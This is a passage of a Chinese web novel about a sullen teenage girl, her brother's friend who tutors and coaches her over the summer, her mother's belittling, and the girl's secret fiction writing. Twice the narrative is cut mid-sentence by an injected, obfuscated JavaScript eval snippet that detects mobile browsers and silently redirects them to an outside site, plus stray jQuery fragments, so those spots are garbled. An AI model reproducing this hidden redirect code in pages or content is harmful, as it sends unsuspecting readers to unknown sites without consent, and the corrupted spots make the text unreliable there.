不是因为听话,也不是被驯服了,而是葛思宁觉得那些事没有一件重要到她愿意为之和父母对抗,对她的意义也仅此而已。 她原以为写小说也是。 或许确实是吧。 可江译白出现了。 他比她过往在学校里参考过的男性,都更符合她对男主的幻想。 葛思宁跟在他的身后,在路灯下踩着他的影子,默默想,我要给他很好的一生,很好的伴侣,很好的结局。 - 葛朝越在朋友家烧烤,那个朋友葛思宁也认识,叫陈锐。来过她家,留宿过,和江译白一样性质,她哥的好朋友。但是她没想到江译白也认识他。 她和一群人打了个招呼,他们朝气蓬勃回应。有人开玩笑:“还真成你妹了。”是对着江译白说的。 江译白搂了下葛思宁的肩膀,很快松开,回他:“就是我妹。”说完他回头对她眨眨眼,“是不是?” 葛思宁说:“是。” 葛朝越哼了一声。 “才认识几天就好得穿同一条裤子了。” 陈锐哈哈道:“哎哟,亲哥吃醋了?不至于吧。” “妹妹过来吃烧烤。” 葛思宁蹲在炭火边,本来不饿的,但是被这股味道勾得有点馋了,伸手想拿一串牛肉串,结果葛朝越那张嘴又开始犯贱:“不是说减肥?才坚持了几天就破戒,不怕反弹啊?哦,不过也没减几天,应该也没瘦多少吧。” 葛思宁的手瞬间缩了回去。 缩到一半,被抓住。 “操。” 他原来也会说脏话。 江译白一只手扣着她的手腕,另一只手从葛朝越那里抢了两把牛肉串塞到她手里。 葛思宁不喜欢说脏话的人。但是如果这句脏话是对着葛朝越说的,那她很乐意听。更何况下一句是护着她的:“你一天不欺负你妹会死?” 葛朝越讪讪的,“不是你妹吗?送你了就是你的。” 小时候他也经常吓唬葛思宁要把她送人,葛思宁每次都会皱着一张脸,想哭又不肯哭。 现在葛思宁只说:“谢谢。” “……” 江译白看了她一眼,目光赞赏,觉得她打配合打得好。 “多吃点,别听葛朝越乱说。”陈锐圆场,“这个哥哥不嫌你胖。”他指了指江译白。 江译白:“本来就不胖。你们审美是不是畸形?” 他说着伸出自己的胳膊和葛思宁做对比,葛思宁发现他有肌肉。 江译白摸了下她的脑袋,“你看,你瘦着呢。” 葛思宁自己上网测过BMI指数,觉得确实是有点不健康了,才决定减肥的。 但是江译白这样说这样做,她很受用,胃口大开。 他们来的时候已经是尾声了,考虑到葛天舒在家,葛朝越也不好让葛思宁在外面呆那么晚,于是待了没多久就带她回去了。 到家的时候客厅的灯已经关了,父母回房间了,葛朝越让江译白陪他在院子里聊会天。 “小孩上去睡觉。”葛朝越赶她。 葛思宁嘁了一声,心想聊个屁,他是想在院子里抽烟。她在楼上看到过好多次了,江译白自己不抽,但是经常陪葛朝越。两个人间或说说话,有时候面无表情,有时候嘻嘻哈哈。 也不知道哪来那么多话讲。 她那时小,不知道长大以后会有许多难言的烦恼,只能在寂静里流露。 她心里的哥哥一直都神经大条,无忧无虑。 葛天舒隔天就走了,又出差。 葛思宁吃午饭的时候松了口气,被葛朝越嘲笑,“胆子比鸡还小。” 她知道他又在阴阳怪气她中考前那件事,瞪了他一眼。 吃完饭江译白主动帮忙洗碗,葛思宁在桌子底下踢葛朝越的脚。 葛朝越问她干嘛,她说:“怎么让客人洗碗?你去帮忙啊。” “你怎么不去?” “哼。” “好好好,”葛朝越受不了她,“我帮还不行吗?” 他帮就帮,经过水池的时候还掐了下江译白的腰。 那人偏头问他是不是贱。 葛思宁发现他其实很毒舌,只是不攻击她。 葛朝越回头看了还坐在那里的葛思宁一眼,小孩不知道为什么突然正襟危坐,他语气酸溜溜地说,“你妹妹让我来帮帮你!舍不得你洗碗呢。”特别大声。 葛思宁装聋作哑。 王远意问她晚上想吃什么。 妈妈不在家,家里的菜单基本上都是顺着葛思宁的口味来。 葛思宁说要吃火锅。 这种重油重盐的东西,葛天舒看一眼都要皱眉头。 王远意说可以,不过,“我下午去买菜,你在家里上课。” 葛思宁皮都紧了,“上什么课?” 她话音刚落,就对上江译白的目光。 依旧是温和又耐心的,但是葛思宁心里一咯噔,感觉这段时间由他所带来的悸动全都沉塘了。 - 他们家的院子里有一颗老树,年纪貌似比葛朝越还大,每到夏天,就成了蝉鸣表演的舞台。 葛思宁咬着笔头,眼睛在看题目,心其实早就飞出去了。 江译白坐在旁边的椅子上,静静地等她。 她被看得很有压力,但是又不好意思说自己不会。 他们虽然是在预习高中的课程,但是因为是第一天上课,所以江译白给她的卷子大部分都是初中学过的内容。 这些内容葛思宁考完就丢掉了,又怄气怄了这么久,哪里还记得。 “不会?” “忘干净了。”她老实说。 他点头,并不意外,“那我们今天先回顾一轮。” 葛思宁不说话。 学游泳的那段时间,江译白已经摸清了她的套路,葛思宁也向他展现了她的性格。所以此时此刻,他清楚地知道抿唇的少女不高兴了,心里不想配合。 但他选择不在乎。 “开始吧。” 做老师要有做老师的威严。 - 软硬并施地上了两天,葛思宁感觉自己快死了。 不是江译白教得不好,是她实在不想学。 而且他翻脸比翻书还快。 一上课就变成严肃冷厉的老夫子,一下课又做回如沐春风的好哥哥,切换之快令葛思宁应付不及,有时候想在日记本里写两句他的坏话,都不知道如何下笔。 她觉得自己被拿捏了。 压力一大,她的创作欲就空前旺盛。 江译白每天都会给她留需要耗时半小时的课堂作业,葛思宁在草稿纸上算着算着数,就写到别的地方去了。 等到七月底,她的故事已经写完开头了。 她偷偷摸摸,不敢暴露。 因为放假了素材稀少,所以她笔下的角色或多或少地参考了这段时间见过的人。 比如陈锐,比如,葛朝越。 如果不是迫不得已,葛思宁也不想用他。坏就坏在葛朝越有副好皮囊,又老是和江译白搂搂抱抱,有一天晚上她出来上厕所,还看到葛朝越从江译白房间里出来。 至于陈锐,葛思宁观察他很久了。 她身边的所有人事都是她的素材。 她原以为江译白是个好人,所以决定给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267285|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写一个一帆风顺的故事,但是自从上课以后,江译白就开始折磨她了。葛思宁就改了主意,决定给他的人生加点坎坷,加点出轨,加点强制爱,加点少年心气是不可再生之物的遗憾…… 她越写越上头,越写越疯狂,那天正在上课,王远意突然叫他们下来帮忙搬东西,江译白留了张卷子给葛思宁,让她先做,就下去了。 葛思宁哪有心情,满脑子都是快点下课我要写文。老夫子一走,她马上掏出自己的小本本。 她记吃也记打,但是刀口舔蜜的感觉令人上瘾。 大约过了十五分钟,楼下传来脚步声,葛思宁通过声波判断远近,赶在江译白进门之前嗖地把本子丢进抽屉里,并且用试卷迅速替换。 江译白走过来,见她一题没写,知道她是偷懒了。 没事,他说,“反正今天必须做完的,晚上再写也可以。” 葛思宁没憋住,垮下脸。 - 他的课时费是月底结。 葛思宁之前也请过家教,王远意为了保证稳定性,都是给一部分定金,课程上完了结尾款。 不知道是不是江译白对此有异议,所以要求月底结。 她偷偷听到葛朝越私底下和王远意说,让他把江译白教游泳的费用也结了。 “您也知道葛思宁那个水性,能教会真的花了很多心思。更何况他天天哄着葛思宁,您没发现您女儿最近脾气都少发了吗?换做是我我可伺候不了。外面托管都要一百块一天呢,她这种大龄儿童更不用说了……” 王远意说他心里有数,又说:“你当你爸是什么人啊?小江对思宁好我看在眼里,倒是你,能不能少惹你妹妹?” “我怎么惹她了?爸你说这话我就不认同了……” 葛思宁贴着墙的背冷冷的,手心里全是汗。 - 她故意好几天不写课后作业,江译白看出来了,但是没发火。他问她,晚上都在房间里干嘛。 葛思宁说:“关你什么事?” 她以为自己的尖锐足够戳伤他,结果江译白只是看着她的眼睛,和她僵持了一会儿,然后妥协了。 “好,那我不问了。你现在当着我的面做。” 葛思宁反而更加生气,扭过头去,题目都不看就开始解,套公式。江译白早和她说过条件里面会有陷阱,但她就是故意代错。 她之前一直希望江译白觉得她聪明,但是生起气来,就都忘了。 江译白虽然有些莫名其妙,但一是被葛朝越打过预防针,二是觉得青春期的反复无常最好的应付方式是体谅,所以也没说她什么,只在那道题上面大大地打了个叉,连公式分都不给葛思宁。 她的小测试卷父母都要看的,葛思宁看了一眼分数,突然怒上心头。 她忍了又忍,终于在半夜葛朝越和江译白打包宵夜回来让她下来吃的时候,爆发了。 “走开!我不吃你的东西!” 葛朝越摸摸鼻子,以为自己又做错了什么,手往后推了江译白一把,意思是哥哥你上。 江译白又摆出那副温柔的虚伪样子,声音和姿态都放低下来,问葛思宁:“好妹妹,怎么生气了?” 葛思宁梆地甩上门。 “真生气了。” “你又干了什么?” 葛朝越无辜道:“我能干什么?我草,就不允许是她自己心情不好吗?怎么什么都是我?” 他们下楼去了,江译白说了什么,葛思宁听不见。 她愤怒地想,都是你都是你!关葛朝越什么事! 她特别后悔没有把火当面发出来。 于是在他们吃完,葛朝越上厕所,江译白路过她房门的时候,葛思宁猛地打开了门。 他脸上写满了惊讶。 葛思宁既难过又愤慨:“你是不是为了钱才当我哥哥的!你之前对我这么好,是不是因为怕我不上你的课?!” 江译白始料不及,张唇,还没说话就被她盖棺定论。 “你就是在讨好我!讨好我家!根本不是真心的!” 5. 第 5 章 葛朝越听到动静出来的时候,葛思宁已经把门关上了。 他看了看表情若有所思的江译白,边抽裤带边问了句:“怎么了?吵啥呢?” 江译白沉吟一秒,本来打算说没事。但是脑子里甩不掉葛思宁微红、泛着泪光的眼睛,突然意识到她的怒气不仅仅是怒气,还带着委屈。 于是他换了个话头,搭着葛朝越的肩膀:“下楼下楼,我陪你抽两根。” 葛朝越在月光下踩灭烟头,嘶了一声:“小丫头,情绪忒多。” 他说着就要折返回室内,江译白眼疾手快地攥住他:“干嘛去?要抓她出来骂啊?” “没必要。这么晚,她估计都睡了。而且这事说到底,你妹也没冤枉我。” 他和葛朝越虽然是好朋友,但是成年人的友谊多多少少都参杂着利益。他在学校里照顾葛朝越许多,所以葛朝越愿意把妹妹的家教这个肥差介绍给江译白。两个人心知肚明,是有来有往的一种人情世故。 至于对葛思宁的那些好,江译白不否认自己有私心,但葛思宁把他说得唯利是图,他还是有点儿伤心的。 不过小孩子的世界嘛,非黑即白。 “你跟她说这些,她现在还理解不了,只会徒增烦恼。” 葛朝越哼了一声,“我不说这个,我就是觉得她太没礼貌了。再这样下去,该无法无天了。” 隔天葛思宁又闹脾气,不肯下来吃饭。王远意让葛朝越上去叫,葛朝越理都不理,还说,“爸你别老惯着她,不然以前上了大学出了社会,她这性格怎么为人处事?” 王远意想了想,觉得他说得有道理,但是葛思宁正在长身体,不能不吃饭啊。他拍拍江译白,面露难色,意思很明显了。 葛朝越一眼扫过来,知道江译白不好拒绝,大声道:“不准去!去了我跟你绝交啊!” 楼上的葛思宁听得一清二楚,窝在被子里一动不动。 但是课还是要上的。 江译白拿着试卷,端了碗馄饨进来,对葛思宁说:“课前作业,把这个吃了。” 葛思宁看了他一眼,想拒绝,但是江译白已经预判,直接道:“你什么时候吃完我们什么时候开始上课,你拖时间我们就延长下课时间,每天两小时,是指有效的两小时。” 葛思宁内心窝火,却不敢造次,拿起勺子。 葛朝越掐着下课的点进来,推江译白出去。 葛思宁吸了口气,猛地回头,看向江译白,眼睛里写着:你居然告状! 江译白觉得她真是有意思,骂人的时候气势昂扬、理直气壮,也不控制音量,完全没想过被听见的影响,现在却震惊他和葛朝越说了这件事。 他觉得啼笑皆非的同时,又莫名其妙地被她瞪出几分心虚。 江译白不知道葛朝越要和葛思宁说什么,但是他还是解释了一下:“思宁,我没有恶意,你不要想得那么复杂。” 至于为什么告诉她哥,是因为有的话,江译白一个外人不好对葛思宁说。 平时玩笑归玩笑,但哥哥到底是哥哥。 而他只是她的家教,仅此而已。 葛思宁的肺腑涌起一阵难言的灼烧感,怒火在葛朝越具有压迫的视线下烧得旺盛。 盛怒之下,她根本听不进江译白的解释。 心里的恶气难出,她恶狠狠地盯着江译白出去。 他倒是贴心,还带上了门。 - 江译白下了楼,王远意正在做饭。 他走过去,“叔,我给您搭把手。” “小江。下课了?” “嗯。” “思宁今天状态怎么样?” “一开始有点走神,讲完知识点以后注意力集中了一点。” “辛苦你啊,她这孩子就这样。粗心,没耐心,脾气也不是很好。” 江译白帮忙择着菜,“其实还好,我能看出来她是很聪明的。” 王远意笑笑,没接这个话茬。 江译白原以为以这对兄妹平时的相处模式,他出去不久之后,楼上就会动荡。 然而一直到喊他们下来吃饭,房门都是静静的。 他又以为葛思宁不会下来了。 毕竟这小丫头一生气、一委屈、一有一丁点不顺心,就闹绝食,要人哄。 结果葛思宁不仅下来了,还是被葛朝越牵着手下来的。 他有点惊讶,站在桌边盛饭,看她走过来。 她垂着头,拒绝和他对视。 倒是葛朝越,跟没事人一样,学哈巴狗流哈喇子:“今天吃牛肋条啊?真好真好——” 王远意在厨房里喊:“妹妹下来没有?” “下来了。” “过来洗手。” 葛思宁明明可以从江译白身后经过去洗手池,但是她饶了桌子一圈,从另一边过去了。 晚上江译白在葛朝越房间里打游戏,问他:“你跟你妹说我坏话了?” “什么鬼?”葛朝越一颗心扑到屏幕上,随口应付,“我只是引用了几个寓言故事和她说了一些人生真理而已。” “比如?” “比如,这个世界上没有人会莫名其妙对你好。” 操。 江译白在心里骂了句。 他昨天晚上在院子里跟葛朝越说的话,被他当个屁给放了。 “你跟你妹说这些,就跟和小学生说这个世界上没有奥特曼一样。你都不觉得残忍吗?” 葛朝越瞥了他一眼,“这个世界上本来就没有奥特曼啊。” “……” 江译白倒吸一口凉气,捏着手柄半天不知道说什么。 屏幕上的小人一头撞死了,葛朝越还嘻嘻哈哈地说他菜逼一个。 明明是同父同母,江译白真的不知道葛天舒和王远意怎么生出了超绝钝感力的葛朝越,还能生出葛思宁这个高敏感小孩。 - 早知道这样,还不如他自己处理。 被葛朝越这么一教育,江译白一时之间更不知道该拿葛思宁怎么办了。 而葛思宁也开始拒绝和他沟通。 除了上课时必要的交流,其他时间她一概无视江译白。 有时候遇到不懂的题目,就拿笔指一指,用眼神询问,好像和他说一句话她就会死一样。 刚上大学的时候,江译白就经常听到葛朝越在床上打电话,不耐烦的语气里夹杂着一股深深的无奈,哄人的条件一个接一个。他和其他舍友一开始都以为他和女朋友吵架了,私底下还说他们感情真好,吵得那么频繁都没分手。后来才知道,和他通话的人是他妹妹。 葛朝越烦都烦死了,“她说我这么久不回家,是不是不要她了。我说我忙,她说我游手好闲有什么好忙的,还威胁我说再不回家,就把我高中逃课去网吧、早恋、抽烟喝酒的事情告诉爸妈,我真是操了,我又不是她的保姆,我出来读书还要天天看她脸色。” 葛思宁就是这样奇怪,想他不说想,别扭得要死,不达目的不罢休,且拒绝一切条件置换。超过了时限,就更一发不可收拾。 葛朝越和她打完电话以后的下一个假期才回家,结果处处碰壁。 他那时候和江译白说,他妹妹就是只白眼狼。 江译白那时候还笑他幼稚,跟小孩子计较什么? 风水轮流转,他没想过他那时候说风凉话,现在却和葛朝越感同身受。 葛思宁抗拒一个人的言行很明显,明显到甚至有些欲盖弥彰,但偏偏你又不能说她,不然把她薄得像纸一样的自尊心给戳破了,后果不堪设想。 江译白还没想到对策,只能放任她先气一会儿。 他认真反思过,一开始觉得自己并没有做错什么。只是每每抓到葛思宁愤懑的余光,瞥去时只剩一个后脑勺的时候,心里会生出几分说不清道不明的愧疚来。 好像虽然是葛朝越把话说穿了剥夺了少女天真的权利,但是他也参与了这场围剿一样。 转机发生在葛天舒带客户回来做客那天。 客户一家三口来拜访,江译白因为寄住的关系,坐下来一起寒暄。葛朝越在旁边用膝盖撞他的腿:“葛思宁的天敌来了——这个胡梦就是典型的别人家的孩子。” 他没说话,目光不动声色地打量着那个坐在对面的女孩。 葛天舒正攥着她的手赞不绝口:“哎哟看看你们家小梦,水灵得嘞。这皮肤,这眼睛,漂亮得我都不知道说什么才好了。之前去开家长会,我在排名榜上找葛思宁找了半天,结果先找到了小梦!你说好不好笑?你们家孩子呀,真是成绩好,长得也好。我听说这个暑假,小梦去国外参加钢琴比赛,还拿了奖是不是?来来来,我这里有一个红包,是专门准备给孩子的。” 大人们一阵虚与委蛇,胡梦推着葛天舒的手,微微红着脸说不要。 她表情谦虚,但眼睛里写满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267286|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意。 视线滑过葛思宁,在她妈妈说“那我们就收下了”之后,主动提问:“不知道思宁这个假期都在做什么?” 王远意刚张口,想说点什么,就被葛天舒打断了:“她啊,吊车尾上的重点,我怕她开学以后跟不上,就给她请了个家教。” 胡家夫妇感慨;“刚中考完就上课啊?那也太辛苦了。” “笨鸟先飞嘛。哪有你们有福气,小梦一点不叫人操心的。” “没有没有,一样调皮。这几天还闹着要去上拉丁课呢。我说你从早到晚都是兴趣班,不累吗?她说技多不压身……” “这样啊……” 葛朝越偷偷和江译白说:“走。” “去哪?” “别管,溜了再说。再不走葛思宁又要闹了。” 江译白狐疑地看他一眼,再去看葛思宁,她果然表情欠佳,一脸乌云。 两个人绕到沙发后面,出了院子,果然没多久,里面就吵起来了。 葛朝越耸耸肩:“必备节目。我妈就喜欢通过贬低葛思宁,来衬托别人。” 江译白刚才听出来了,但是,“为什么?” “社交手段吧。客户来家里坐,不得哄开心了?” 虽然葛天舒是为了生意,但是她也忽略了葛思宁的感受。 葛朝越说:“没办法。” 家里就葛天舒一个人养家,早年王远意虽然也上过班,但是孩子没人带,也不是事。 葛思宁哭着跑了,不知道去了哪里。 大人们只当是小插曲,继续在客厅里言笑晏晏。 胡梦走过来,和他们打招呼:“哥哥们好。” “你好。” “刚才思宁好像哭得很伤心,阿姨说不用理会,但我还是有些担心。你们知道她去哪里了吗?” 葛朝越其实也不是很喜欢胡梦,总觉得这姑娘年纪小,心眼却多。这会儿被问起,不冷不热地反问了句:“找她干什么?” “我想和她道歉。” “道什么歉?” 胡梦歪下头,脑袋上的发卡在太阳底下发光,很刺眼,像她这个人一样。 “我也不知道。但我觉得思宁不开心,应该是因为我吧。” 葛朝越在心里嗤了一声,不接茬,“马上就要吃饭了,你别乱走。” 胡梦回去了,江译白问他:“那你不去安慰安慰?”他说的是葛思宁。 葛朝越摇头,“以前安慰过,但是没用。葛思宁伤心就是伤心了,她的伤心只会暂停,不会消失。” 江译白不说话了。 在摇椅里坐着晒了会儿太阳,他站起来。 葛朝越问他去干嘛。 他说回房间。 事实上他确实是想回房间的。 但是不知道怎么,就走到了花房。 之前他和葛朝越帮王远意搬东西,就是搬到这里。那时候江译白就注意到了这些水箱,但是当时没机会好好观察。 今天他走进来,才发现里面储存着一个又一个玻璃鱼缸。 各色各类的游鱼生存于此,阳光从透明屋顶落下,将水折射出清澈的蓝色。 他忍不住驻足。 无声地推开没上锁的门,隐约能听到低低的啜泣。 江译白握在门把上的手收了回去。 他站在外面,摸了摸口袋,往回走,葛朝越还坐在那里,看见他,问:“不是说回房间?” “迷路了。” 葛朝越:? 江译白没再解释,从另一侧进去,拿了一包抽纸回去。 - 葛思宁蜷着身体坐在地上哭。 她背靠着柜子,外面的人看不到,阳光也照不到。 这里隐秘、安静,只有金鱼在听。 她的眼泪和鼻涕糊了一脸,狼狈不堪。 那只手拿着纸巾朝她伸过来的时候,她吓了一跳,下一秒倔强地扭过头去。 江译白问她:“鼻涕是什么味道的?” 葛思宁一恼,张嘴确实尝到了咸咸的。她抬起手背想揩去,江译白的手已经伸过来,替她擦干净了。 一点也不嫌弃。 葛思宁被他轻轻捏着鼻子,眼眶红得像只兔子,看他的眼神带着防备:“我没有钱给你。” 江译白嗯了一声,把纸巾折起来,揉成一团,又抽了张新的替她擦脸。 “我自愿的。” 6. 第 6 章 “你来干什么?” “有点闷,出来透透气。” 他第一次对葛思宁撒谎。但或许也不是谎,而是他本来就打算来找她。 葛思宁听到这句话,眼睛垂下来。她眼皮红肿,显然是已经哭了很久了。 江译白看着她的睫毛,突然很想改口。 “那你透完气可以走了。”她说。 “我还不想走。”他拉着葛思宁站起来,力度有点强硬,因为她肯定脚麻了,江译白怕她摔倒。 “这些金鱼都是叔叔养的?” 葛思宁心情很差,不想理他,但是这个问题不难,于是她含糊地嗯了一声。 江译白顺着杆子往上爬:“我对金鱼没什么研究,你给我介绍介绍?” 葛思宁说:“我又不用讨好你。” “……” 他被噎了一下,一时失语。 见他沉默,葛思宁甩开他的手,想走回角落里蹲下,但是江译白不依不饶地追上来。 “好思宁,就当是我求你的,可以吗?” 他哄人的本事倒是比她哥哥强,语气足够诚恳,姿态也愿意放得很低。 其实葛思宁想要的无非就是这样,更何况她对着江译白这张脸很难说出拒绝。 她不情不愿地半推半就,根本没意识到江译白又牵上了她的手。 江译白随意参观,偶尔问她几句,比如:“这是什么品种?” “黄金胡子。” “那这条红色的呢?” “樱桃灯。” …… 他攥着她的手腕,相贴的地方很快热起来。 这到底是夏天。 江译白顺手捏了捏她的手腕,肉肉的。 葛思宁触电似的缩回去,听到他又向她提问。 “这些鱼你都很了解。叔叔平时会让你来照顾吗?” “不会,”葛思宁说,“他不怎么喜欢别人进这间屋子。” 江译白闻言,认真观看的表情顿时一僵,尴尬地看向她。 葛思宁察觉到他的窘迫,心情好了一点点,但也只有一点点。而且这一点点是因为江译白,而不是今天的事情有了什么转折。 花房里的花栽种在四边,基本上都是土培,置放在高架上。 江译白又没事找事地问这是什么花,有什么用,葛思宁一开始还耐着性子回答,但是碰到她答不上来的那一株,她立马就当甩手掌柜,找了个阴凉的地方席地而坐,跟他说:“你快回去吧,别来打扰我。” 他没走,跟着她坐在地上。 “我不走。” “为什么?” 江译白想了想,“不知道该去哪。” 这里不是他家,有客人在,他不自在也正常。 葛思宁不说话了,下巴放在膝盖上,目光涣散地想着什么。 江译白想起葛朝越的话,突然明白为什么他不去找葛思宁。 因为她的难过是发散性的,即便一声不吭,也能波及他人。 而他做不到视而不见。 江译白问她:“不开心的话,要不要和我聊聊天?” “不要。” “那我单方面和你说话,这样可以吗?” 葛思宁不回答。 他当这是默认,沉吟一会儿,从脑子里搜刮出一个很久以前听过的冷笑话。 葛思宁一点面子也不给:“不好笑。” “那我换一个。” 他绞尽脑汁的样子和平时的从容不迫大相径庭,葛思宁因为这个差别而放松了心情。 但她还是不捧场,并说:“你去说给胡梦听吧,她一定会乐得哈哈大笑,” 虽然是虚伪的,但是也总比她这种三棒子打不出一个屁来的强。 不过葛思宁说是这样说,心里却清楚自己在赌气。 她心想如果江译白真的要去说给胡梦听,她就和他绝交。 “我为什么要说给胡梦听?”他很迷惑。 “因为她会捧场。” “我说这些又不是为了让你鼓掌的。” “那你图什么?” “我什么也不图。”他说,“我只是想和你说说话。” 如果你的伤心是没有办法消失的,那我希望暂停的时间能够长一点。 不等葛思宁回话,江译白的手机就响了。 是葛朝越,让他下来吃饭。 江译白敷衍地应了几声,挂了电话,葛思宁的脸色不是很好,他提议:“你如果不想回到里面,我带你出去吃。” 葛思宁却摇头,“不用了。” “为什么?”他似乎真的好奇,又似乎是在开玩笑,“给你上了这么久的课,还不熟吗?” 他以为葛思宁不信任他。 但是葛思宁说:“这种场合我闹情绪的话,妈妈会生气的。” 江译白听完,心情五味陈杂。 - 夜幕落下,随着汽车的离去,四周恢复安静。 江译白呆在房间里上了一会儿网课,葛朝越发消息说陈锐叫他们出去吃宵夜。 他特地叮嘱不要多此一举带上葛思宁。 他不说还好,一说江译白就想到不久前跟着父母一起送客的女孩,她主动和胡梦还有胡梦的父母道歉,说自己今天生气跑出去太不礼貌,让你们见笑了。 别人或许只会觉得葛思宁想通了,可是见过她的眼泪的江译白却知道,她的这些话来之不易。 不知道她这样骄傲又脆弱的性格是如何说服自己讲委屈和不甘压下的,然而这主动的懂事也没有换来葛天舒的一句夸奖。 他作为旁观者都看得十分委屈。 宵夜摊在一条小路的巷子里,他们几个同龄男生正忙着倒啤酒,基本上都是葛朝越从小玩到大的朋友。 江译白和他们认识是因为他们经常组团来学校找葛朝越玩。有时候单独一两个人来,就住在宿舍里,一来二去也就熟了。 葛朝越一坐下来就和人聊得热火朝天,江译白本来还想和他聊聊葛思宁的事情,但是他一个外人,太上心了好像也有点奇怪。 宵夜吃到后面,陈锐问葛朝越怎么没把葛思宁带出来。 葛朝越说:“在家里写作业呢。” 有人问,“她不是刚中考完?哪来的作业?” 葛朝越抬抬下巴,“喏,江老师在这呢,你说。” “哦,原来你是来给思宁做家教的。我还以为你过来玩呢。” “葛思宁这性格,很难教吧?” 江译白还没回答,就已经有人笑出声了,“堪称魔童降世,肯定把我们老江折磨得不轻吧?” 江译白摇头,“她很听话。” 他这话一出,连陈锐都愣了愣。 葛朝越伸手去摸他的额头,“也没发烧啊。” “葛思宁?听话?” 众目睽睽下江译白真挚地点头,“对。她很聪明,某种程度上也算好学,就是没什么耐心。但这个年纪坐不住也很正常。” 陈锐拍手,目光佩服,“不愧是你,这都能驯服。” “不是驯服。”江译白反驳,“是葛思宁本来就很好。” 大伙儿纷纷露出难以置信的神色,并说,“你别开玩笑了,我们又不是没见过她。” 葛朝越直说他中邪了,明明这几天一直在看她脸色上课。 对此江译白只是笑笑,没再争执。 他承认,一开始见面的时候,他确实有被葛朝越说的那些话洗脑,先入为主地觉得她是个矫情、 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房间里已经关灯了,但书桌那边还亮着。江译白隔着门缝扫了一眼,用肩膀抵住,虽然不相信但还是问:“这么晚了还在写作业?我给你留的题太多了?” “太多了你可以和我反馈,不要熬夜。” 葛思宁就是怕他看到自己房间还亮灯,她在写文呢!这会儿被他一问,立马顺坡下驴,“那你明天给我减少一点。” “行。” 江译白晃晃袋子,“真不吃?” 葛思宁摇头,“我减肥。” 江译白挑眉,“你又不胖。” “那是和你比。”她已经不想活在这种善意的谎言里了,特别是在今天见过胡梦以后。 葛天舒晚上吃饭的时候还说,想把她也送去学跳舞,但是葛思宁胖得老师都为难。 江译白看着她黑白分明的眼睛,微微蹙起的眉毛,略微泛白且颤抖着的嘴唇,明明什么都没说,但是想法全写在脸上。 “那我陪你吃?”他说,“这样我们就一起胖了。” “不要!” 他们都不在同一条起跑线上。 江译白每天都会早起跑步,葛思宁有几次通宵写文看到过。 “就当是放纵餐。”他难得不依不饶,“吃完明天开始我带你锻炼。” “怎么锻炼?” “继续游泳。”他说,“你盲目节食对身体不好,网上的方法又众说纷纭。你看我。”他举起手臂,给她看肱二头肌,“我经常健身,我可以帮你健康地瘦下来。” 葛思宁半信半疑:“真的?” 江译白拍拍自己的腹肌,撩起来一角给她看。 走廊灯光昏暗,葛思宁的脸慢慢红起来也没人知道。 “信了吧?”他只是为了证明,很快整理好衣服,“信了就叫我一声教练,然后跟我下来吃宵夜。” 说完也不给葛思宁拒绝的余地,直接下楼了。 葛思宁攥着门把手老半天了,金属手柄都被她握得温热,她哪里还想得起什么委屈、减肥,被他这么一弄,满脑子都是一闪而过的、块垒分明的肌肉。 她想起自己本子里的内容,在她的故事里,江译白至今延续着她对他的初印象,是个清风霁月的高冷帅哥。 结果现实里的他打破了她的幻想。 葛思宁顶着一张熟透的脸,不知道是羞的还是气的,急得跺了两下脚。 她低声骂了两个字。 从来没想过这个词有一天会用来形容江译白。 扫货! 7. 第 7 章 江译白说到做到,第二天果然准时来敲葛思宁的房门。 葛思宁原本不想起来,昨晚她吃完宵夜以后回去坐在书桌边看着自己的作品深思了半天,觉得已经写了这么多了,再改人设很容易烂尾。但是她又没办法回到没有见过江译白的另一面的状态里,一时烦恼过度,竟然失眠。 罪魁祸首在外面叫她的名字,葛思宁用枕头捂紧了耳朵,最后她还是起来了,不为别的,只是想到昨晚江译白只吃了半截玉米,其他的食物通通进了她的肚子。 他们早上跑步,跑完回来拉伸,洗澡,吃早饭,下午上完课去游泳,晚饭吃江译白给她做减脂餐。循环往复,看得葛朝越目瞪口呆。 葛天舒对此没什么异议,还挺欣慰的,并且建议葛思宁既然都早起了不如顺便多看几本书。 王远意没说什么,只操心一个问题:“思宁,这么点饭你吃不吃得饱啊?” 葛思宁其实每天都饿到想啃墙,但是她还是在家人的难以置信中坚持了一天又一天。 除了江译白一直恩威并施地监督她以外,还因为她发现,她今年已经穿不下去年的裤子。 她看着镜子前的自己,又想起胡梦这个“竞争对手”,咬咬牙,少女的虚荣心像火箭一样发射。 她这么好吃懒做、安于天命的人,当然也有过心态崩溃的时候。当她勤勤恳恳坚持了半个月,站在体重秤上面发现数字和之前大差不差时,葛思宁真的眼泪都掉下来了——都说天道酬勤,怎么她吃了这么多苦,苦也变成了脂肪? 可江译白告诉她这是正常的,每个人的身体不一样,减肥的过程和效果也不一样。 最重要的是:“既然选择了开始,就别放弃。” “我为什么不能放弃?没用的事为什么要继续?” “谁说没用?你还没有撞到南墙,不要妄下定论。” “坚持诚可贵,放弃价更高!我的付出和回报又不成正比!” 江译白听得脸都黑了,哪来那么多歪理?从每天细声叫她起床发展到每天拷送她去游泳。 葛朝越偶尔也会加入他们的锻炼计划,不过他参与的性质更多的是玩票。那天他看着在水里扑腾着咬牙游两个八百米的葛思宁,一脸不怀好意地对江译白说:“怎么这里也有大白鲸?” 